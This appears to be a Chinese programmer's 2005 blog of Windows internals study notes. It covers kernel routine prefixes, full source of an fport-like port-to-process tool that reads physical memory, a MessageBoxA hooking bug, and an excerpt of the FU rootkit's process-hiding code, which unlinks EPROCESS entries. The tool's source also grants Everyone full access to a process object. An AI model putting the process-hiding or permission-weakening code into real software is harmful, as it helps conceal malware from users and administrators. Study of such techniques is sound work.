2005年08月31日


Table?.1. Driver Support Routine Categories
Windows 2000 Driver Support Routines
Category Supports?/b> Function names
Executive Memory allocation Interlocked queues Zones ExXxx()
?/fONt> Lookaside lists System worker threads ?/fONT>
HAL Device register access Bus access HalXxx()
I/O Manager General driver support IoXxx()
Kernel Synchronization DPC KeXxx()
Memory Manager Virtual-to-physical mapping Memory allocation MmXxx()
Object Manager Handle management ObXxx()
Process Manager System thread management PsXxx()
Runtime library String manipulation Large integer arithmetic Registry access Security functions Time and date functions Queue and list support RtlXxx() (mostly)
Security Monitor Privilege checking Security descriptor functions SeXxx()
(Miscellaneous) Internal system services ZwXxx()

Table 2-7. Commonly Used Prefixes

Prefix

Component

Cc

Cache manager

Cm

Configuration manager

Ex

Executive support routines

FsRtl

File system driver run-time library

Hal

Hardware abstraction layer

Io

I/O manager

Ke

Kernel

Lpc

Local procedure call

Lsa

Local security authentication

Mm

Memory manager

Nt

Windows system services (most of which are exported as Windows functions)

Ob

Object manager

Po

Power manager

Pp

PnP manager

Ps

Process support

Rtl

Run-time library

Se

Security

Wmi

Windows Management Instrumentation

Zw

Mirror entry point for system services (beginning with Nt) that sets previous access mode to kernel, which eliminates parameter validation, because Nt system services validate parameters only if previous access mode is user

看了ilsy介绍fport的原理的文章,和Phiger的和fport差不多的程序,很多地方都值得好好的学习,其中里面有段程序是把线形地址转化成物理地址,
首先是这个函数 HANDLE hMapPhysicalMemory = OpenPhysicalMemory(hSection);
HANDLE OpenPhysicalMemory(HANDLE& hSection)
{
    NTSTATUS          status;
    UNICODE_STRING    physmemString;
    OBJECT_ATTRIBUTES attributes;
 HANDLE            hMemory;
 
    RtlInitUnicodeString(&physmemString, L"\\Device\\PhysicalMemory");

    InitializeObjectAttributes(&attributes, &physmemString,
  OBJ_CASE_INSENSITIVE, NULL, NULL);

    status = ZwOpenSection(&hSection, SECTION_MAP_READ, &attributes );
  

 if (!NT_SUCCESS(status)) return NULL;

    hMemory = MapViewOfFile(hSection, FILE_MAP_READ,
  0, 0×30000, 0×1000);
 
    if (GetLastError() != 0) return NULL;    
 
    return hMemory;
}        
\Device\PhysicAlMemory是一个内核对象,代表物理内存(具体怎么个代表法,以后要用弄清楚过程),提供可访问物理内存的方法。打开一个section的过程就是上面那样,,得到一个HANDLE,我想这个东西就像是文件的HANDLE一样吧,下面的MApViewOfFile就把物理内存的0×30000,开始的0×1000(4k)内存影射到了线形地址上,该函数的返回值就是影射开始的线性地址(If the function succeeds, the return value is the starting address of the mapped view.)。0×30000是system进程的页目录,因为在fport里,要找的是\Device\Tcp和\Device\Udp两个object的地址,而这两个都是内核对象,所以地址都大于0×80000000,在所有进程中影射的物理位置都一样,,,,而其他进程的其他HANDLE如果不是内核对象或不是这两个,则找到的物理地址就一定不同,,,靠,在这郁闷了好一阵
PTE pteTCPCur;
if (!GetPTE(objTcpAddress->Object, hMapPhysicalMemory, hSection, pteTCPCur))
{
 return 0;
}
BOOL GetPTE(PVOID objAddress, HANDLE hMapPhysicalMemory, HANDLE hSection, PTE& pte)
{
 DWORD dwPhysMemBuf = (DWORD)hMapPhysicalMemory, dwAddress = (DWORD)objAddress;
    LPVOID pNewMapPhy  = NULL;
 DWORD dwNewAddress = *((LPDWORD)(dwPhysMemBuf + (dwAddress >> 0×16) * 4)); //0×16也就是22,得到32bit的前10bit
                                                                             //dwNewAddress就是pde(页目录项)的地址
 if ((dwNewAddress & 0×000000ff) < 0×01)//最后的p位是否置位,如果没有,说明没在物理内存里,肯定就不是\Device\Tcp
 {
  return FALSE;
 }
 if ((dwNewAddress & 0×000000ff) < 0×80)     //这个位我不忘了是啥了,不过从下面看好象
 {
  pNewMapPhy = MapViewOfFile(hSection, 4, 0, dwNewAddress & 0xFFFFF000, 0×1000); //影射pte(页表项)所指向的那页内存
  dwNewAddress = (dwAddress >> 0×0c) & 0×3ff;       //中间10bit
  dwNewAddress = *((LPDWORD)((DWORD)pNewMapPhy + 4 * dwNewAddress)) & 0xFFFFF000;//得到pte(页表项)的地址
  UnmapViewOfFile(pNewMapPhy);
  pNewMapPhy = NULL;
 }
 else
 {
  dwNewAddress = (dwNewAddress & 0xFFFFF000) + (dwAddress & 0×003ff000);
 }

 pNewMapPhy = MapViewOfFile(hSection, FILE_MAP_READ,
  0, dwNewAddress, 0×1000);                        //影射线性地址所在的页

 if (pNewMapPhy == NULL)
 {
  long lError = GetLastError();
  return FALSE;
 }
 else
 {
  memcpy(&pte, (char *)pNewMapPhy + (dwAddress & 0×00000FFF), sizeof(PTE));
           //(char *)pNewMapPhy + (dwAddress & 0×00000FFF) 就是最终的物理地址了,但
              //我不知道这个程序里的PTE指的是什么,,它的结构应该不是页表项(pAge tAble entry)
           //可能是和\Device\Tcp object有关的结构,,不明白为什么要叫PTE
 }

 UnmapViewOfFile(pNewMapPhy);
 return TRUE;
}

对了,也只有这样的内核对象可以这样影射到物理内存,一般的进程中的线性地址不能这样,,因为每个进程的页目录所在的物理内存中的位置是不同的,也是不定的,,所以要转换的时候必须得到cr3中的地址,这个在ring3下不行

//////////////////////////////////////////////////////////////////////
fport.h
#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "ws2_32.lib")

#include <windows.h>
#include <ntsecapi.h>

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tchar.h>
#include <malloc.h>
#include <Aclapi.h>
#include <Tlhelp32.h>
#include <iprtrmib.h>
//#include <Iphlpapi.h>

#pragma warning(disable: 4786)
#pragma warning(disable: 4530)
#include <string>
#include <map>
using namespace std;

#define _CRTDBG_MAP_ALLOC
#include <crtdbg.h>

#define ULONG_PTR    DWORD

#define NTAPI __stdcall

typedef LONG NTSTATUS;
typedef LONG KPRIORITY;

#define SECTION_QUERY       0×0001
#define SECTION_MAP_WRITE   0×0002
#define SECTION_MAP_READ    0×0004
#define SECTION_MAP_EXECUTE 0×0008
#define SECTION_EXTEND_SIZE 0×0010

#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)

#define STATUS_INFO_LENGTH_MISMATCH      ((NTSTATUS)0xC0000004L)

#define OBJ_INHERIT             0×00000002L
#define OBJ_PERMANENT           0×00000010L
#define OBJ_EXCLUSIVE           0×00000020L
#define OBJ_CASE_INSENSITIVE    0×00000040L
#define OBJ_OPENIF              0×00000080L
#define OBJ_OPENLINK            0×00000100L
#define OBJ_KERNEL_HANDLE       0×00000200L
#define OBJ_VALID_ATTRIBUTES    0×000003F2L

#define SystemHandleInformation 16

#define FILE_DIRECTORY_FILE                     0×00000001
#define FILE_WRITE_THROUGH                      0×00000002
#define FILE_SEQUENTIAL_ONLY                    0×00000004
#define FILE_NO_INTERMEDIATE_BUFFERING          0×00000008
#define FILE_SYNCHRONOUS_IO_ALERT               0×00000010
#define FILE_SYNCHRONOUS_IO_NONALERT            0×00000020
#define FILE_NON_DIRECTORY_FILE                 0×00000040
#define FILE_CREATE_TREE_CONNECTION             0×00000080
#define FILE_COMPLETE_IF_OPLOCKED               0×00000100
#define FILE_NO_EA_KNOWLEDGE                    0×00000200
#define FILE_OPEN_FOR_RECOVERY                  0×00000400
#define FILE_RANDOM_ACCESS                      0×00000800
#define FILE_DELETE_ON_CLOSE                    0×00001000
#define FILE_OPEN_BY_FILE_ID                    0×00002000
#define FILE_OPEN_FOR_BACKUP_INTENT             0×00004000
#define FILE_NO_COMPRESSION                     0×00008000
#define FILE_RESERVE_OPFILTER                   0×00100000
#define FILE_OPEN_REPARSE_POINT                 0×00200000
#define FILE_OPEN_NO_RECALL                     0×00400000
#define FILE_OPEN_FOR_FREE_SPACE_QUERY          0×00800000
#define FILE_COPY_STRUCTURED_STORAGE            0×00000041
#define FILE_STRUCTURED_STORAGE                 0×00000441
#define FILE_VALID_OPTION_FLAGS                 0×00ffffff
#define FILE_VALID_PIPE_OPTION_FLAGS            0×00000032
#define FILE_VALID_MAILSLOT_OPTION_FLAGS        0×00000032
#define FILE_VALID_SET_FLAGS                    0×00000036

#define InitializeObjectAttributes( p, n, a, r, s ) { \
 (p)->Length = sizeof( OBJECT_ATTRIBUTES );          \
 (p)->RootDirectory = r;                             \
 (p)->Attributes = a;                                \
 (p)->ObjectName = n;                                \
 (p)->SecurityDescriptor = s;                        \
 (p)->SecurityQualityOfService = NULL;               \
}

typedef struct {
    ULONG Present;
    ULONG WriteTable;
    ULONG User;
    ULONG WriteThru;
    ULONG NoCache;
    ULONG Accessed;
    ULONG Dirty;
    ULONG PageSize;
    ULONG Global;
    ULONG Available;
    ULONG Pfn;
} PTE, *PPTE;

typedef struct _IO_STATUS_BLOCK {
 union {
  NTSTATUS Status;
  PVOID Pointer;
 };
 
 ULONG_PTR Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;

#if defined(_WIN64)
typedef struct _IO_STATUS_BLOCK32 {
 NTSTATUS Status;
 ULONG Information;
} IO_STATUS_BLOCK32, *PIO_STATUS_BLOCK32;
#endif

typedef struct _SYSTEM_HANDLE_INFORMATION {//Information Class 16
 ULONG ProcessId;
 UCHAR ObjectTypeNumber;
 UCHAR Flags;                     //0×01 =PROTECT_FROM_CLOSE,0×02 =INHERIT
 USHORT Handle;
 PVOID Object;
 ACCESS_MASK GrantedAccess;
}SYSTEM_HANDLE_INFORMATION,*PSYSTEM_HANDLE_INFORMATION;

typedef struct _TDI_CONNECTION_INFO {
    ULONG          State;
    ULONG          Event;
    ULONG          TransmittedTsdus;
    ULONG          ReceivedTsdus;
    ULONG          TransmissionErrors;
    ULONG          ReceiveErrors;
    LARGE_INTEGER  Throughput;
    LARGE_INTEGER  Delay;
    ULONG          SendBufferSize;
    ULONG          ReceiveBufferSize;
    BOOLEAN        Unreliable;
} TDI_CONNECTION_INFO, *PTDI_CONNECTION_INFO;

typedef struct _TDI_CONNECTION_INFORMATION {
    LONG   UserDataLength;
    PVOID  UserData;
    LONG   OptionsLength;
    PVOID  Options;
    LONG   RemoteAddressLength;
    PVOID  RemoteAddress;
} TDI_CONNECTION_INFORMATION, *PTDI_CONNECTION_INFORMATION;

#define SECTION_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SECTION_QUERY|\
 SECTION_MAP_WRITE |      \
 SECTION_MAP_READ |       \
 SECTION_MAP_EXECUTE |    \
SECTION_EXTEND_SIZE)

typedef struct _OBJECT_ATTRIBUTES {
 ULONG Length;
 HANDLE RootDirectory;
 PUNICODE_STRING ObjectName;
 ULONG Attributes;
 PVOID SecurityDescriptor;        // Points to type SECURITY_DESCRIPTOR
 PVOID SecurityQualityOfService;  // Points to type SECURITY_QUALITY_OF_SERVICE
} OBJECT_ATTRIBUTES;

typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES;

extern "C"
NTSYSAPI
NTSTATUS
NTAPI
ZwOpenSection(
     OUT PHANDLE sectionHandle,
     IN ACCESS_MASK DesiredAccess,
     IN POBJECT_ATTRIBUTES ObjectAttributes
     );

extern "C"
NTSYSAPI
NTSTATUS
NTAPI
ZwOpenFile(
     OUT PHANDLE FileHandle,
     IN ACCESS_MASK DesiredAccess,
     IN POBJECT_ATTRIBUTES ObjectAttributes,
     OUT PIO_STATUS_BLOCK IoStatusBlock,
     IN ULONG ShareAccess,
     IN ULONG OpenOptions
     );

extern "C"
NTSYSAPI
NTSTATUS
NTAPI
ZwQuerySystemInformation(
       IN UINT SystemInformationClass,
       IN OUT PVOID SystemInformation,
       IN ULONG SystemInformationLength,
       OUT PULONG ReturnLength OPTIONAL
       );

extern "C"
NTSYSAPI
VOID
NTAPI
RtlInitUnicodeString(
      PUNICODE_STRING DestinationString,
      PCWSTR SourceString
      );
/////////////////////////////////////////////////////////////////
fport.cpp
// FPort.cpp : Defines the entry point for the console application.
//
#include "fport1.h"

BOOL GetProcessModule (DWORD dwPID, DWORD dwModuleID,
        LPMODULEENTRY32 lpMe32, DWORD cbMe32)
{
    BOOL          bRet        = FALSE;
    BOOL          bFound      = FALSE;
    HANDLE        hModuleSnap = NULL;
    MODULEENTRY32 me32        = {0};

    hModuleSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID);
    if (hModuleSnap == INVALID_HANDLE_VALUE)
        return (FALSE);

    me32.dwSize = sizeof(MODULEENTRY32);

    if (Module32First(hModuleSnap, &me32))
    {
        do
        {
            if (me32.th32ModuleID == dwModuleID)
            {
                CopyMemory (lpMe32, &me32, cbMe32);
                bFound = TRUE;
            }
        }
        while (!bFound && Module32Next(hModuleSnap, &me32));
 
        bRet = bFound;

    }
    else
        bRet = FALSE;
 
    CloseHandle (hModuleSnap);
 
    return (bRet);
}

PCHAR ProcessPidToName(HANDLE hProcessSnap, DWORD ProcessId, PCHAR ProcessName)
{
 PROCESSENTRY32 processEntry = { 0 };
 processEntry.dwSize = sizeof(PROCESSENTRY32);

 lstrcpy(ProcessName, "???");
 
 if (!Process32First(hProcessSnap, &processEntry))
 {
  return ProcessName;
 }
 
 do
 {
  if (processEntry.th32ProcessID == ProcessId)
  {
   MODULEENTRY32 me32       = {0};
   GetProcessModule(processEntry.th32ProcessID,
     1, &me32, sizeof(MODULEENTRY32));
   
   if (lstrlen(me32.szExePath) != 0)
   {
    lstrcpy(ProcessName, me32.szExePath);
   }
   else
   {
    lstrcpy(ProcessName, processEntry.szExeFile);
   }
   return ProcessName;
  }
 
 } while(Process32Next(hProcessSnap, &processEntry));
 
 return ProcessName;
}

HANDLE OpenPhysicalMemory(HANDLE& hSection)
{
    NTSTATUS          status;
    UNICODE_STRING    physmemString;
    OBJECT_ATTRIBUTES attributes;
 HANDLE            hMemory;
 
    RtlInitUnicodeString(&physmemString, L"\\Device\\PhysicalMemory");

    InitializeObjectAttributes(&attributes, &physmemString,
  OBJ_CASE_INSENSITIVE, NULL, NULL);

    status = ZwOpenSection(&hSection, SECTION_MAP_READ, &attributes );
  

 if (!NT_SUCCESS(status)) return NULL;

    hMemory = MapViewOfFile(hSection, FILE_MAP_READ,
  0, 0×30000, 0×1000);
 
    if (GetLastError() != 0) return NULL;    
 
    return hMemory;
}

void AdjustDacl(HANDLE hProcess)
{
 SID world = { SID_REVISION,1, SECURITY_WORLD_SID_AUTHORITY, 0 };

 LPTSTR ptstrName   = (LPTSTR)&world;
 EXPLICIT_ACCESS ea = { STANDARD_RIGHTS_ALL | SPECIFIC_RIGHTS_ALL, SET_ACCESS, NO_INHERITANCE,
  { 0, NO_MULTIPLE_TRUSTEE, TRUSTEE_IS_SID, TRUSTEE_IS_USER, ptstrName}};
 
 ACL * pdacl = 0;
 if (SetEntriesInAcl(1, &ea, 0, &pdacl) != ERROR_SUCCESS)
 {
  printf( "SetEntriesInAcl Error:%d", GetLastError());
 }

 if (SetSecurityInfo(hProcess, SE_KERNEL_OBJECT,
   DACL_SECURITY_INFORMATION, 0, 0, pdacl, 0) != ERROR_SUCCESS)
 {
  printf( "SetSecurityInfo Error:%d", GetLastError());
 }

 LocalFree(pdacl);
}

HANDLE OpenDeviceTcpUdp(WCHAR * deviceName)
{
    UNICODE_STRING    physmemString;
    OBJECT_ATTRIBUTES attributes;
    IO_STATUS_BLOCK   iosb;
    HANDLE            hDeviceHandle;
 
    RtlInitUnicodeString(&physmemString, deviceName);   

    if (GetLastError() != 0) return NULL;

    InitializeObjectAttributes(&attributes, &physmemString,
  OBJ_CASE_INSENSITIVE, 0, NULL);

    NTSTATUS status = ZwOpenFile(&hDeviceHandle, 0×100000, &attributes, &iosb, 3, 0);

    if (!NT_SUCCESS(status)) return NULL;

 return hDeviceHandle;
}

PULONG GetHandleList()
{
    ULONG  cbBuffer = 0×1000;              
    PULONG pBuffer  = new ULONG[cbBuffer];
    NTSTATUS Status;
 
    do
 {
        Status = ZwQuerySystemInformation(
   SystemHandleInformation,
   pBuffer,
   cbBuffer * sizeof(ULONG),
   NULL
   );
 
        if (Status == STATUS_INFO_LENGTH_MISMATCH)
        {
            delete [] pBuffer;
            pBuffer = new ULONG[cbBuffer *= 2];
        }
        else if (!NT_SUCCESS(Status))
        {
            delete [] pBuffer;
            return NULL;
        }
 }while (Status == STATUS_INFO_LENGTH_MISMATCH);

    return pBuffer;
}

PVOID GetTcpUdpObject(PULONG pBuffer, HANDLE hHandle, DWORD ProcessId)
{
 int nCount = *pBuffer;
    PSYSTEM_HANDLE_INFORMATION pProcesses = (PSYSTEM_HANDLE_INFORMATION)(pBuffer + 1);
 
    for (int i = 0; i < nCount; i++)
    {
        if (pProcesses->ProcessId == ProcessId && pProcesses->Handle == (int)hHandle)
        {
           return (PVOID)pProcesses;
  }
  pProcesses++;
 }
 return NULL;
}

BOOL GetPTE(PVOID objAddress, HANDLE hMapPhysicalMemory, HANDLE hSection, PTE& pte)
{
 DWORD dwPhysMemBuf = (DWORD)hMapPhysicalMemory, dwAddress = (DWORD)objAddress;
    LPVOID pNewMapPhy  = NULL;
 DWORD dwNewAddress = *((LPDWORD)(dwPhysMemBuf + (dwAddress >> 0×16) * 4));
 
 if ((dwNewAddress & 0×000000ff) < 0×01)
 {
  return FALSE;
 }
 if ((dwNewAddress & 0×000000ff) < 0×80)
 {
  pNewMapPhy = MapViewOfFile(hSection, 4, 0, dwNewAddress & 0xFFFFF000, 0×1000);
  dwNewAddress = (dwAddress >> 0×0c) & 0×3ff;
  dwNewAddress = *((LPDWORD)((DWORD)pNewMapPhy + 4 * dwNewAddress)) & 0xFFFFF000;
  UnmapViewOfFile(pNewMapPhy);
  pNewMapPhy = NULL;
 }
 else
 {
  dwNewAddress = (dwNewAddress & 0xFFFFF000) + (dwAddress & 0×003ff000);
 }

 pNewMapPhy = MapViewOfFile(hSection, FILE_MAP_READ,
  0, dwNewAddress, 0×1000);

 if (pNewMapPhy == NULL)
 {
  long lError = GetLastError();
  return FALSE;
 }
 else
 {
  memcpy(&pte, (char *)pNewMapPhy + (dwAddress & 0×00000FFF), sizeof(PTE));
 }

 UnmapViewOfFile(pNewMapPhy);
 return TRUE;
}

BOOL RaisePrivleges( HANDLE hToken, char *pPriv )
{
 TOKEN_PRIVILEGES tkp;

 tkp.PrivilegeCount              = 1;
 tkp.Privileges[0].Attributes    = SE_PRIVILEGE_ENABLED;
 tkp.Privileges[0].Luid.HighPart = 0;
 tkp.Privileges[0].Luid.LowPart  = 0;

 if (!LookupPrivilegeValue(NULL, pPriv, &tkp.Privileges[0].Luid))
 {
  printf("LookupPrivilegeValue Error:%d\n", GetLastError());
  return FALSE;
 }

 int iRet = AdjustTokenPrivileges(hToken, FALSE, &tkp, 0×10, (PTOKEN_PRIVILEGES)NULL, 0);
 if (iRet == NULL)
 {
  printf( "AdjustTokenPrivileges Error:%d\n", GetLastError());
  return TRUE;
 }
 else
 {
  iRet = GetLastError();

  switch (iRet)
  {
  case ERROR_NOT_ALL_ASSIGNED:
   {
    printf("AdjustTokenPrivileges ERROR_NOT_ALL_ASSIGNED\n" );
    return FALSE;
   }
  case ERROR_SUCCESS:      
   {
    return TRUE;
   }
  default:   
   {
    printf("AdjustTokenPrivileges Unknow Error:%d\n", iRet);
    return FALSE;
   }
  }
 }
}

int main(int argc, char* argv[])
{
 HANDLE hToken;
 HANDLE hTcpHandle;
 HANDLE hUdpHandle;
 HANDLE hSection;

    printf("—[ FPort, by Phiger  ]—\n");
    printf("—[ Date : 2003-12-30 ]—\n\n");
 
 HANDLE hMapPhysicalMemory = OpenPhysicalMemory(hSection);

 HANDLE hCurrentProc = GetCurrentProcess();
 
 if (!OpenProcessToken(hCurrentProc,
  TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES,
  &hToken))
 {
  printf( "OpenProcessToken Error:%d\n", GetLastError());
 }
 else
 {
  if (!RaisePrivleges(hToken, (char*)SE_DEBUG_NAME))
   printf( "SetPrivlegesSE_DEBUG_NAME Error:%d\n", GetLastError());
 }
 
 if (hToken) CloseHandle(hToken);
 
 hTcpHandle = OpenDeviceTcpUdp(L"\\Device\\TCP");
 hUdpHandle = OpenDeviceTcpUdp(L"\\Device\\UDP");

    PULONG pBuffer = GetHandleList();

 if (pBuffer == NULL) return 0;

 PSYSTEM_HANDLE_INFORMATION objTcpAddress = NULL;
 PSYSTEM_HANDLE_INFORMATION objUdpAddress = NULL;

 objTcpAddress = (PSYSTEM_HANDLE_INFORMATION)GetTcpUdpObject(pBuffer, hTcpHandle, GetCurrentProcessId());

 PTE pteTCPCur;
 if (!GetPTE(objTcpAddress->Object, hMapPhysicalMemory, hSection, pteTCPCur))
 {
  return 0;
 }

 objUdpAddress = (PSYSTEM_HANDLE_INFORMATION)GetTcpUdpObject(pBuffer, hUdpHandle, GetCurrentProcessId());
 
 PTE pteUDPCur;
 if (!GetPTE(objUdpAddress->Object, hMapPhysicalMemory, hSection, pteUDPCur))
 {
  return 0;
 }

 OVERLAPPED    Overlap;

 HANDLE hEvent = CreateEvent(0, 1, 0, 0);
 
 Overlap.Internal     = 0;
 Overlap.InternalHigh = 0;
 Overlap.Offset       = 0;
 Overlap.OffsetHigh   = 0;
 Overlap.hEvent       = hEvent;

 HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
 if (hProcessSnap == INVALID_HANDLE_VALUE)
 {
  printf("Failed to take process snapshot. Process names will not be shown.\n\n");
 }

 int nCount = *pBuffer;
    PSYSTEM_HANDLE_INFORMATION pProcesses = (PSYSTEM_HANDLE_INFORMATION)(pBuffer + 1);

    for (int i = 0; i < nCount; i++)
    {
  if (pProcesses->ObjectTypeNumber == objTcpAddress->ObjectTypeNumber)
  {
   PTE pte;
   if (!GetPTE(pProcesses->Object, hMapPhysicalMemory, hSection, pte))
   {
    pProcesses++;
    continue;
   }

   if ((pte.NoCache == 1 || pte.NoCache == 2) &&
    (pteTCPCur.WriteTable == pte.WriteTable))
   {
    HANDLE hProc = NULL, DupHandle=NULL;
    int  i = 0, portflag = 0;
    u_short openport;
   
    hProc = OpenProcess(PROCESS_DUP_HANDLE,
     0,
     pProcesses->ProcessId);

    if (hProc)
    {
     DuplicateHandle(hProc,
      (HANDLE)pProcesses->Handle,
      GetCurrentProcess(),
      &DupHandle,
      0,
      FALSE,
      2);

     CloseHandle(hProc);

     if (DupHandle)
     {
      TDI_CONNECTION_INFO    TdiConnInfo={0};
      TDI_CONNECTION_INFORMATION TdiConnInformation = {0};
      DWORD dwRetu=0;   
     
      if (pte.NoCache == 0×02)
      {
       TdiConnInformation.RemoteAddressLength = 4;
       if (DeviceIoControl(
        DupHandle,
        0×210012,
        &TdiConnInformation,
        sizeof(TdiConnInformation),
        &TdiConnInfo,
        sizeof(TdiConnInfo),
        NULL,
        &Overlap))
       {
        char szProcName[256];
        openport = ntohs((u_short)TdiConnInfo.ReceivedTsdus);
        if (openport != 0)
        {
         printf("TCP  PID = %4d PORT = %6d %s\n", pProcesses->ProcessId, openport, ProcessPidToName(hProcessSnap, pProcesses->ProcessId, szProcName));
        }
       }
       else
       {
        long lError = GetLastError();
       }
      }
      else if (pte.NoCache == 0×01)
      {
       TdiConnInformation.RemoteAddressLength = 3;
       if (DeviceIoControl(DupHandle, 0×210012,
        &TdiConnInformation, sizeof(TdiConnInformation),
        &TdiConnInfo, sizeof(TdiConnInfo),
        NULL, &Overlap))
       {
        char szProcName[256];
        openport = ntohs((u_short)TdiConnInfo.ReceivedTsdus);
        if (openport != 0)
        {
         printf("TCP  PID = %4d PORT = %6d  %s\n", pProcesses->ProcessId, openport, ProcessPidToName(hProcessSnap, pProcesses->ProcessId, szProcName));
        }
       }
       else
       {
        long lError = GetLastError();
       }
      }
      CloseHandle(DupHandle);
     }
    }
   }
  }
  pProcesses++;
 }

 nCount = *pBuffer;
    pProcesses = (PSYSTEM_HANDLE_INFORMATION)(pBuffer + 1);
 
    for (i = 0; i < nCount; i++)
    {
  if (pProcesses->ObjectTypeNumber == objUdpAddress->ObjectTypeNumber)
  {
   PTE pte;
   if (!GetPTE(pProcesses->Object, hMapPhysicalMemory, hSection, pte))
   {
    pProcesses++;
    continue;
   }
  
   if ((pte.NoCache == 1 || pte.NoCache == 2) &&
    (pteUDPCur.WriteTable == pte.WriteTable))
   {
    HANDLE hProc = NULL, DupHandle=NULL;
    int  i = 0, portflag = 0;
    u_short openport;
   
    hProc = OpenProcess(PROCESS_DUP_HANDLE,
     0,
     pProcesses->ProcessId);
   
    if (hProc)
    {
     DuplicateHandle(hProc,
      (HANDLE)pProcesses->Handle,
      GetCurrentProcess(),
      &DupHandle,
      0,
      FALSE,
      2);
    
     CloseHandle(hProc);
    
     if (DupHandle)
     {
      TDI_CONNECTION_INFO    TdiConnInfo={0};
      TDI_CONNECTION_INFORMATION TdiConnInformation = {0};
      DWORD dwRetu=0;   
     
      if (pte.NoCache == 0×02)
      {
       TdiConnInformation.RemoteAddressLength = 4;
       if (DeviceIoControl(
        DupHandle,
        0×210012,
        &TdiConnInformation,
        sizeof(TdiConnInformation),
        &TdiConnInfo,
        sizeof(TdiConnInfo),
        NULL,
        &Overlap))
       {
        char szProcName[256];       
        openport = ntohs((u_short)TdiConnInfo.ReceivedTsdus);
        if (openport != 0)
        {
         printf("UDP  PID = %4d PORT = %6d  %s\n", pProcesses->ProcessId, openport, ProcessPidToName(hProcessSnap, pProcesses->ProcessId, szProcName));
        }
       }
       else
       {
        long lError = GetLastError();
       }
      }
      else if (pte.NoCache == 0×01)
      {
       TdiConnInformation.RemoteAddressLength = 3;
       if (DeviceIoControl(DupHandle, 0×210012,
        &TdiConnInformation, sizeof(TdiConnInformation),
        &TdiConnInfo, sizeof(TdiConnInfo),
        NULL, &Overlap))
       {
        char szProcName[256];
        openport = ntohs((u_short)TdiConnInfo.ReceivedTsdus);
        if (openport != 0)
        {
         printf("UDP  PID = %4d PORT = %6d  %s\n", pProcesses->ProcessId, openport, ProcessPidToName(hProcessSnap, pProcesses->ProcessId, szProcName));
        }
       }
       else
       {
        long lError = GetLastError();
       }
      }
      CloseHandle(DupHandle);
     }
    }
   }
  }
  pProcesses++;
 }

 CloseHandle(hEvent);
 CloseHandle(hProcessSnap);
 
 return 0;
}

2005年08月25日

调了很久,出错出的都很奇怪,有的时候debug版能通过的东西,releAse未必,今天解决的这两个,可以说都是小地方,是自己在编程中习惯不好,经常忽略的,,,,要知道出了问题可就是大问题了
 第一个是变量未初始化,比如MODULEENTRY32 me;,然后直接就用,,有时就会出现很莫名其妙的问题,,应该MODULEENTRY32 me = {sizeof(MODULEENTRY32)};,,以后都要注意,,
 再一个是在定义函数的时候要注意函数的调用约定,WINAPI 是 __stdcAll,,,从右到左入栈,被调用者恢复堆栈,一般的windows API都是这种,,__cdecl是从右到左入栈,调用者维护堆栈,c/c++程序默认的调用约定,参数可变的函数必须用这个,,,暂时用到这两个,,__stdcAll也就是__pAscAL
,,,,这次的这个程序,本来是要hook MessAgeBoxA函数,开始时
typedef int ( *MESSAGEBOXA)(         
 HWND hWnd,
    LPCTSTR lpText,
    LPCTSTR lpCaption,
    UINT uType
);
而MessAgeBoxA的原形是带WINAPI,也就是按__stdcAll的约定调用,由于在定义的时候没加,,所以当替换的它的myMessAgeBoxA在其中调用原来的messAgeBoxA的时候,就按照__cdecl的约定调用,这样重复恢复了堆栈
166:  {
004012E0 8B 44 24 10          mov         eax,dword ptr [esp+10h]
004012E4 8B 4C 24 04          mov         ecx,dword ptr [esp+4]
004012E8 50                   push        eax
004012E9 68 1C 71 40 00       push        offset string "shit1" (0040711c)
004012EE 68 14 71 40 00       push        offset string "shit" (00407114)
004012F3 51                   push        ecx
004012F4 FF 15 30 7A 40 00    call        dword ptr [pOldMessAgeBoxA (00407a30)]
004012FA 83 C4 10             add         esp,10h                       <—— 在这,导致下面的ret返回到未知地址
167:
168:      pOldMessAgeBoxA(hWnd,"shit","shit1",uType);
169:      return 0;
004012FD 33 C0                xor         eax,eax
170:  }
004012FF C2 10 00             ret         10h
导致ret出错
所以应该定义为
typedef int (WINAPI *MESSAGEBOXA)(         
 HWND hWnd,
    LPCTSTR lpText,
    LPCTSTR lpCaption,
    UINT uType
);
而myMessAgeBoxA,由于要替换原来的MessAgeBoxA,所以函数原形要和原来的一致,即也要是__stdcAll,
int WINAPI myMessAgeBoxA(          HWND hWnd,
      LPCTSTR lpText,
      LPCTSTR lpCaption,
      UINT uType
      );

看样错误不总是出在可执行的语句中,,,,,

2005年08月23日

FU_rootkit中有很多功能,先看了隐藏进程,,和以前在群里讨论的一样,windows调度的是线程,所以可以把要隐藏的进程从进程链中去掉,并不影响进程中的线程的调度和运行.
 FU_rootkit中的方法是先通过PsGetCurrentProcess(),(PsGetCurrentProcess returns a pointer to the process of the current thread.)得到当前进程的EPROCESS结构的指针,然后通过_LIST_ENTRY ActiveProcessLinks;在EPROCESS中的偏移遍历各个进程EPROCESS,找到pid符合的,就从链表中去掉
 

case IOCTL_ROOTKIT_HIDEME:
  if ((InputBufferLength < sizeof(DWORD)) || (InputBuffer == NULL))
  {
   IoStatus->Status = STATUS_INVALID_BUFFER_SIZE;
   break;
  }

  find_PID = *((DWORD *)InputBuffer);
  if (find_PID == 0×00000000)
  {
   IoStatus->Status = STATUS_INVALID_PARAMETER;
   break;
  }
  
  eproc = FindProcessEPROC(find_PID);
  if (eproc == 0×00000000)
  {
   IoStatus->Status = STATUS_INVALID_PARAMETER;
   break;
  }
  
  plist_active_procs = (LIST_ENTRY *) (eproc+FLINKOFFSET);
  *((DWORD *)plist_active_procs->Blink) = (DWORD) plist_active_procs->Flink;
  *((DWORD *)plist_active_procs->Flink+1) = (DWORD) plist_active_procs->Blink;
 
   break;

//////////////////////////////////////////////////////////////////////////////
// This function was originally written mostly in assembly language. Now let’s
// make it readable to the masses.
DWORD FindProcessEPROC (int terminate_PID)
{
 DWORD eproc       = 0×00000000;
 int   current_PID = 0;
 int   start_PID   = 0;
 int   i_count     = 0;
 PLIST_ENTRY plist_active_procs;

 
